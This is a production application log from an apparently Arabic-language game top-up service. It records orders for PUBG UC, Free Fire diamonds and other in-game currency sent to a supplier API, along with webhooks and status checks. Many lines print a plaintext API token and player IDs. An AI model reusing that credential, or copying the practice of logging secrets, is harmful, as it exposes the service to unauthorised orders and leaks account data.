[2026-03-24 17:27:06] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=70000&uuid=a563fc32-093b-475d-985b-39904a68f584&Player_ID=1300031311","has_body":false} 
[2026-03-24 17:27:07] production.INFO: Operation sent successfully {"operation_id":163913,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Kct0DSi-1774362427","amount":7.879200000000000869704308570362627506256103515625,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 17:27:07"}},"processed_data":{"order_number":"ORD-Kct0DSi-1774362427","amount":7.879200000000000869704308570362627506256103515625,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 17:27:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-kBKvpYyx-1774362417","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:27:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-kBKvpYyx-1774362417","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:27:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:27:10] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":179005} 
[2026-03-24 17:27:10] production.INFO: Order updated successfully. Order ID: 179005, Status: completed  
[2026-03-24 17:27:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-kBKvpYyx-1774362417","status":"completed","codes_count":0} 
[2026-03-24 17:27:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Kct0DSi-1774362427","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:27:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-Kct0DSi-1774362427","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:27:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:27:12] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179006} 
[2026-03-24 17:27:12] production.INFO: Order updated successfully. Order ID: 179006, Status: completed  
[2026-03-24 17:27:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Kct0DSi-1774362427","status":"completed","codes_count":0} 
[2026-03-24 17:27:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 17:27:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 17:27:24] production.INFO: Constructing job for order: 179007  
[2026-03-24 17:27:25] production.INFO: Handling job for order: 179007  
[2026-03-24 17:27:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:27:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:27:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=bc0d1c28-9593-4c0e-b522-41f813be28fe&Player_ID=52090305681  
[2026-03-24 17:27:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=bc0d1c28-9593-4c0e-b522-41f813be28fe&Player_ID=52090305681","has_body":false} 
[2026-03-24 17:27:26] production.INFO: Operation sent successfully {"operation_id":163914,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cB3f-1774362445","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:27:26"}},"processed_data":{"order_number":"ORD-cB3f-1774362445","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 17:27:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cB3f-1774362445","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:27:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-cB3f-1774362445","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:27:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:27:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179007} 
[2026-03-24 17:27:39] production.INFO: Order updated successfully. Order ID: 179007, Status: completed  
[2026-03-24 17:27:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cB3f-1774362445","status":"completed","codes_count":0} 
[2026-03-24 17:27:41] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 17:27:56] production.INFO: Constructing job for order: 179008  
[2026-03-24 17:27:59] production.INFO: Handling job for order: 179008  
[2026-03-24 17:27:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:27:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:27:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=b95fc59f-34cd-42c9-a75b-018000442392&Player_ID=52194957381  
[2026-03-24 17:27:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=b95fc59f-34cd-42c9-a75b-018000442392&Player_ID=52194957381","has_body":false} 
[2026-03-24 17:28:00] production.INFO: Operation sent successfully {"operation_id":163915,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MJcnAulb-1774362479","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:28:00"}},"processed_data":{"order_number":"ORD-MJcnAulb-1774362479","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 17:28:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03"} 
[2026-03-24 17:28:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","total_operations":3,"sites_count":1} 
[2026-03-24 17:28:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-MJcnAulb-1774362479"]} 
[2026-03-24 17:28:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:28:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MJcnAulb-1774362479","operation_id":163915} 
[2026-03-24 17:28:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MJcnAulb-1774362479","operation_id":163915,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 17:28:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MJcnAulb-1774362479","operation_id":163915,"processed":0,"errors":0} 
[2026-03-24 17:28:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VZZo8HizHEO7MxjC4ZLtMKH1nT553ZB0","execution_time":"2026-03-24 17:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MJcnAulb-1774362479","operation_id":163915} 
[2026-03-24 17:28:15] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MJcnAulb-1774362479","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:28:15] production.INFO: Processed webhook data (normalized) {"id":"ORD-MJcnAulb-1774362479","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:28:15] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:28:15] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179008} 
[2026-03-24 17:28:15] production.INFO: Order updated successfully. Order ID: 179008, Status: completed  
[2026-03-24 17:28:15] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MJcnAulb-1774362479","status":"completed","codes_count":0} 
[2026-03-24 17:28:15] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 17:28:34] production.INFO: Constructing job for order: 179009  
[2026-03-24 17:28:36] production.INFO: Handling job for order: 179009  
[2026-03-24 17:28:36] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:28:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:28:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d64dfc47-500c-41d4-a50b-3294660322f7&Player_ID=52431950452  
[2026-03-24 17:28:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d64dfc47-500c-41d4-a50b-3294660322f7&Player_ID=52431950452","has_body":false} 
[2026-03-24 17:28:37] production.INFO: Operation sent successfully {"operation_id":163916,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-01jo3-1774362516","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:28:37"}},"processed_data":{"order_number":"ORD-01jo3-1774362516","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:28:51] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-01jo3-1774362516","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:28:51] production.INFO: Processed webhook data (normalized) {"id":"ORD-01jo3-1774362516","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:28:51] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:28:51] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179009} 
[2026-03-24 17:28:51] production.INFO: Order updated successfully. Order ID: 179009, Status: completed  
[2026-03-24 17:28:51] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-01jo3-1774362516","status":"completed","codes_count":0} 
[2026-03-24 17:28:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 17:29:04] production.INFO: Constructing job for order: 179010  
[2026-03-24 17:29:06] production.INFO: Constructing job for order: 179011  
[2026-03-24 17:29:07] production.INFO: Handling job for order: 179010  
[2026-03-24 17:29:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:29:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:29:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=24b7bed2-89b7-46a2-95aa-e170102a4b0c&Player_ID=110840821  
[2026-03-24 17:29:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=24b7bed2-89b7-46a2-95aa-e170102a4b0c&Player_ID=110840821","has_body":false} 
[2026-03-24 17:29:08] production.INFO: Constructing job for order: 179012  
[2026-03-24 17:29:08] production.INFO: Operation sent successfully {"operation_id":163917,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9NjN-1774362547","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 17:29:08"}},"processed_data":{"order_number":"ORD-9NjN-1774362547","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 17:29:08] production.INFO: Handling job for order: 179011  
[2026-03-24 17:29:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:29:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:29:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=6d1e9112-34ca-4ab5-b701-eb36601a2952&Player_ID=7773217261  
[2026-03-24 17:29:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=6d1e9112-34ca-4ab5-b701-eb36601a2952&Player_ID=7773217261","has_body":false} 
[2026-03-24 17:29:09] production.INFO: Operation sent successfully {"operation_id":163918,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0FcwnK0v-1774362548","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:29:09"}},"processed_data":{"order_number":"ORD-0FcwnK0v-1774362548","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:29:09] production.INFO: Handling job for order: 179012  
[2026-03-24 17:29:09] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:29:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:29:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/776/params?qty=4000&uuid=f6c38794-eb78-4aa5-bdee-fbb3b38787d5&Player_ID=33252737  
[2026-03-24 17:29:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/776/params?qty=4000&uuid=f6c38794-eb78-4aa5-bdee-fbb3b38787d5&Player_ID=33252737","has_body":false} 
[2026-03-24 17:29:09] production.INFO: Operation sent successfully {"operation_id":163919,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1qhV3-1774362549","amount":4.2291167999999998983184923417866230010986328125,"status":"processing","product":"Saada","game":"Saada","notes":[],"created_at":"2026-03-24 17:29:09"}},"processed_data":{"order_number":"ORD-1qhV3-1774362549","amount":4.2291167999999998983184923417866230010986328125,"status":"processing","product":"Saada","game":"Saada"}} 
[2026-03-24 17:29:27] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0FcwnK0v-1774362548","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:29:27] production.INFO: Processed webhook data (normalized) {"id":"ORD-0FcwnK0v-1774362548","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:29:27] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:29:27] production.INFO: SendAcceptReject: Notification queued {"user_id":722,"notification_type":"order_approved","reference_id":179011} 
[2026-03-24 17:29:27] production.INFO: Order updated successfully. Order ID: 179011, Status: completed  
[2026-03-24 17:29:27] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0FcwnK0v-1774362548","status":"completed","codes_count":0} 
[2026-03-24 17:29:27] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 722  
[2026-03-24 17:30:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04"} 
[2026-03-24 17:30:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","total_operations":4,"sites_count":1} 
[2026-03-24 17:30:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-9NjN-1774362547","ORD-1qhV3-1774362549"]} 
[2026-03-24 17:30:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:30:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 17:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-1qhV3-1774362549","operation_id":163919} 
[2026-03-24 17:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9NjN-1774362547","operation_id":163917} 
[2026-03-24 17:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:30:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 17:30:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:30:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"V5f02aBrd6JhvnkHC6PZHDhXtvF8hzc6","execution_time":"2026-03-24 17:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 17:30:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 17:30:06] production.INFO: async() رجع: true  
[2026-03-24 17:30:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:30:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:32:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01"} 
[2026-03-24 17:32:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","total_operations":4,"sites_count":1} 
[2026-03-24 17:32:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-9NjN-1774362547","ORD-1qhV3-1774362549"]} 
[2026-03-24 17:32:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:32:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 17:32:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9NjN-1774362547","operation_id":163917} 
[2026-03-24 17:32:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:32:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:32:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 17:32:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:32:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"count":1} 
[2026-03-24 17:32:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"count":1} 
[2026-03-24 17:32:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"user_id":59,"notification_type":"order_approved","reference_id":179012} 
[2026-03-24 17:32:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:32:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:32:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":1,"errors":0} 
[2026-03-24 17:32:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":1,"errors":0} 
[2026-03-24 17:32:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dNJGkSwfi3ODNhHZlYmG2t4oORyXKV0M","execution_time":"2026-03-24 17:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 17:32:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9NjN-1774362547","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:32:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-9NjN-1774362547","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:32:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:32:04] production.INFO: SendAcceptReject: Notification queued {"user_id":36,"notification_type":"order_approved","reference_id":179010} 
[2026-03-24 17:32:04] production.INFO: Order updated successfully. Order ID: 179010, Status: completed  
[2026-03-24 17:32:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9NjN-1774362547","status":"completed","codes_count":0} 
[2026-03-24 17:32:04] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 17:32:05] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 17:32:05] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 17:32:16] production.INFO: Constructing job for order: 179013  
[2026-03-24 17:32:17] production.INFO: Handling job for order: 179013  
[2026-03-24 17:32:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:32:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:32:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=f29b246f-e093-4baa-bade-6030a23a31a8&Player_ID=2048063729  
[2026-03-24 17:32:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=f29b246f-e093-4baa-bade-6030a23a31a8&Player_ID=2048063729","has_body":false} 
